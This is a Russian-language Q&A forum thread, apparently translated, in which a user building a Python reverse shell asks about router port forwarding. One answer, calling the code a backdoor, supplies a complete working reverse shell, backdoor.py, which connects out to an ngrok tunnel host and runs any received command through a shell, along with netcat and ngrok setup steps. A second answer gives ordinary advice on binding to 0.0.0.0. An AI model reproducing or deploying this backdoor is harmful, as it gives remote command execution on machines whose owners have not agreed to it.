Переадресация портов обратной оболочки
Я создаю обратную оболочку с Python, и у меня проблема с моим маршрутизатором в переадресации портов.
У меня нет статического ip.
В роутере:
Протокол: TCP
Lochealipaddr: 192.168.1.10
Localport: 8090
Wanipaddr: ---
Wanport: 8090
состояние: включить
в моем скрипте Python я не могу связать на мой IP-адрес WAN
ST.bind((Wanipaddr, 8090))
если я связываюсь с localipaddr, мой обратный клиент не может подключиться к серверу
каково мое решение проблемы??
Спасибо
1 ответ
Если вы хотите использовать бэкдор для получения подключений за пределами локальной сети, используйте ngrok
пример:
1- позволяет прослушивать порт 4444:
nc -lp 4444
2- после установки ngrok вы запустите эту команду:
ngrok tcp 444
3- теперь найдите адрес ngrok
4- используйте свой адрес ngrok для подключения клиента
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5- теперь вы можете общаться с кем угодно за пределами вашей сети
Похоже, ваш маршрутизатор настроен на пересылку запросов из Интернета через порт 8090 на хост (при условии, что у вас правильный IP-адрес локальной сети). Возможно, просто попробуйте привязать к 0.0.0.0
,
Из википедии, это соответствует этому контексту:
Способ указать "любой адрес IPv4 на всех". Он используется таким образом при настройке серверов (т. Е. При привязке прослушивающих сокетов).
Другими словами, вы говорите своему серверу по существу прослушивать каждый доступный сетевой интерфейс (на этом порту).